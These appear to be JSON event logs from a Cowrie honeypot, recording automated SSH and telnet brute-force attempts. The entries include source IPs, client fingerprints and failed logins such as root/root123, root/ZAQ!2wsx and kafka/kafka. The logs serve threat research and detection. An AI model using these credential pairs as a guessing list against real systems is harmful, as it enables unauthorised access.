{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:53.087678Z","src_ip":"45.156.87.254","session":"900fa4574c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.159.70.85","src_port":53304,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c6a04e8dad","protocol":"telnet","message":"New connection: 103.159.70.85:53304 (10.17.0.5:23) [session: 18c6a04e8dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:53.484438Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:54.176364Z","src_ip":"45.156.87.254","session":"900fa4574c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56794,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f7bb2370c0","protocol":"ssh","message":"New connection: 45.156.87.254:56794 (159.203.135.109:22) [session: d4f7bb2370c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:57.729030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:57.734641Z","src_ip":"45.156.87.254","session":"d4f7bb2370c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:57.818533Z","src_ip":"45.156.87.254","session":"d4f7bb2370c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:58.214439Z","src_ip":"45.156.87.254","session":"d4f7bb2370c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:29:59.299728Z","src_ip":"45.156.87.254","session":"d4f7bb2370c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50998,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df9f9e74711","protocol":"telnet","message":"New connection: 20.123.41.163:50998 (10.17.0.5:23) [session: 4df9f9e74711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:00.348069Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41480,"dst_ip":"10.17.0.5","dst_port":23,"session":"11d0c59e2ce4","protocol":"telnet","message":"New connection: 20.123.41.163:41480 (10.17.0.5:23) [session: 11d0c59e2ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:02.116247Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59684,"dst_ip":"159.203.135.109","dst_port":22,"session":"e54e04fcf80f","protocol":"ssh","message":"New connection: 45.156.87.254:59684 (159.203.135.109:22) [session: e54e04fcf80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:03.214386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:03.225885Z","src_ip":"45.156.87.254","session":"e54e04fcf80f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:03.319777Z","src_ip":"45.156.87.254","session":"e54e04fcf80f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:03.570997Z","src_ip":"45.156.87.254","session":"e54e04fcf80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.49587631225586,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:04.533623Z","src_ip":"104.245.105.2","session":"b8cd4daeb500","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:04.674969Z","src_ip":"45.156.87.254","session":"e54e04fcf80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.939045667648315,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:06.423392Z","src_ip":"103.159.70.85","session":"18c6a04e8dad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41110,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6d18caed75e","protocol":"ssh","message":"New connection: 45.156.87.254:41110 (159.203.135.109:22) [session: d6d18caed75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:08.668340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:08.681103Z","src_ip":"45.156.87.254","session":"d6d18caed75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:08.768059Z","src_ip":"45.156.87.254","session":"d6d18caed75e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:09.025791Z","src_ip":"45.156.87.254","session":"d6d18caed75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:10.120220Z","src_ip":"45.156.87.254","session":"d6d18caed75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":34058,"dst_ip":"10.17.0.5","dst_port":23,"session":"863a42158c42","protocol":"telnet","message":"New connection: 20.123.41.163:34058 (10.17.0.5:23) [session: 863a42158c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:13.080767Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41134,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5b1b520fbc9","protocol":"ssh","message":"New connection: 45.156.87.254:41134 (159.203.135.109:22) [session: a5b1b520fbc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:13.901963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:13.907635Z","src_ip":"45.156.87.254","session":"a5b1b520fbc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:14.002524Z","src_ip":"45.156.87.254","session":"a5b1b520fbc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:14.264632Z","src_ip":"45.156.87.254","session":"a5b1b520fbc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:15.352870Z","src_ip":"45.156.87.254","session":"a5b1b520fbc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.606308460235596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:15.588311Z","src_ip":"185.145.252.179","session":"01b4474c1150","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":34072,"dst_ip":"10.17.0.5","dst_port":23,"session":"386d7010b718","protocol":"telnet","message":"New connection: 20.123.41.163:34072 (10.17.0.5:23) [session: 386d7010b718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:17.442542Z"}
{"eventid":"cowrie.session.closed","duration":4.899677038192749,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:17.980325Z","src_ip":"20.123.41.163","session":"863a42158c42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":34078,"dst_ip":"10.17.0.5","dst_port":23,"session":"b56935f431ab","protocol":"telnet","message":"New connection: 20.123.41.163:34078 (10.17.0.5:23) [session: b56935f431ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:19.432384Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38680,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d8f384502ba","protocol":"ssh","message":"New connection: 45.156.87.254:38680 (159.203.135.109:22) [session: 1d8f384502ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:19.477697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:19.484816Z","src_ip":"45.156.87.254","session":"1d8f384502ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:19.573955Z","src_ip":"45.156.87.254","session":"1d8f384502ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:19.844599Z","src_ip":"45.156.87.254","session":"1d8f384502ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:20.932462Z","src_ip":"45.156.87.254","session":"1d8f384502ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16717505455017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:21.822745Z","src_ip":"185.145.252.179","session":"92e6b8b895ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47826,"dst_ip":"10.17.0.5","dst_port":23,"session":"7786ac90d6b7","protocol":"telnet","message":"New connection: 20.123.41.163:47826 (10.17.0.5:23) [session: 7786ac90d6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:24.840446Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38688,"dst_ip":"159.203.135.109","dst_port":22,"session":"454b0130ce7d","protocol":"ssh","message":"New connection: 45.156.87.254:38688 (159.203.135.109:22) [session: 454b0130ce7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:25.538580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:25.590464Z","src_ip":"45.156.87.254","session":"454b0130ce7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:25.642077Z","src_ip":"45.156.87.254","session":"454b0130ce7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:25.959953Z","src_ip":"45.156.87.254","session":"454b0130ce7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:27.050181Z","src_ip":"45.156.87.254","session":"454b0130ce7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.54513692855835,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:30.385445Z","src_ip":"20.123.41.163","session":"7786ac90d6b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50750,"dst_ip":"159.203.135.109","dst_port":22,"session":"00538f93cee7","protocol":"ssh","message":"New connection: 45.156.87.254:50750 (159.203.135.109:22) [session: 00538f93cee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:31.509700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:31.514739Z","src_ip":"45.156.87.254","session":"00538f93cee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:31.643359Z","src_ip":"45.156.87.254","session":"00538f93cee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:30:32.041986Z","src_ip":"45.156.87.254","session":"00538f93cee7","protocol":"ssh"}
